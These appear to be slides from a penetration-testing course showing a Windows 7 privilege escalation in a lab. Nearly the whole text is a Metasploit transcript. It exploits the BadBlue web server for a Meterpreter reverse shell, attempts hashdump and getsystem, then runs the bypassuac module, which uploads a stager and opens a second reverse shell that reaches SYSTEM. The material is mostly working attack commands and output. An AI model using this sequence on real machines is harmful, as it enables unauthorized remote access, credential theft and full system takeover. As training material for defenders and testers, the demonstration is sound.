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Pentesting Windows Endpoints:

Win7 Privilege Escalation with UAC Bypass

©SecurityTube.net



Windows 7 Exploitation

root@kali: ~
File Edit View Search Terminal Help

msf > use exploit/windows/http/badblue_passthru

msf exploit(badblue passthru) > set RHOST 192.168.1.30
RHOST => 192.168.1.30

msf exploit(badblue passthru) > exploit

[*] Started reverse handler on 192.168.1.10:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (751104 bytes) to 192.168.1.30

[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.30:49174) at 2013-12-08 01:05:56 -0500

meterpreter > getuid
Server username: securitytube-PC\securitytube
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Get System ®

root@kali: ~
File Edit View Search Terminal Help

meterpreter > hashdump

[-] priv_passwd get sam hashes: Operation failed: The parameter is incorrect.
meterpreter >

meterpreter >

meterpreter > getsystem
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Bypass UAC

meterpreter > background

[*] Backgrounding session 2...

msf exploit(badblue passthru) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > sessions -1

Active sessions

Id Type Information Connection

2 meterpreter x86/win32 securitytube-PC\securitytube @ SECURITYTUBE-PC 192.168.1.10:4444 -> 192.168.1.30:49174 (192.168.1.30)

msf exploit(bypassuac) > set SESSION 2

SESSION => 2

msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(bypassuac) > set LHOST 192.168.1.10

LHOST => 192.168.1.10

msf exploit(bypassuac) > exploit

[*] Started reverse handler on 192.168.1.10:4444
[*] UAC is Enabled, checking level...
UAC is set to Default
BypassUAC can bypass this setting, continuing...
[*] Checking admin status...
Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (751104 bytes) to 192.168.1.30
[*] Meterpreter session 3 opened (192.168.1.10:4444 -> 192.168.1.30:49175) at 2013-12-08 01:12:19 -0500
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Getsystem

meterpreter > getuid

Server username: securitytube-PC\securitytube
meterpreter >

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >
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Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo
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3 Revolutionizing Infosec Training

> Highly Technical, Hands-on, Affordable
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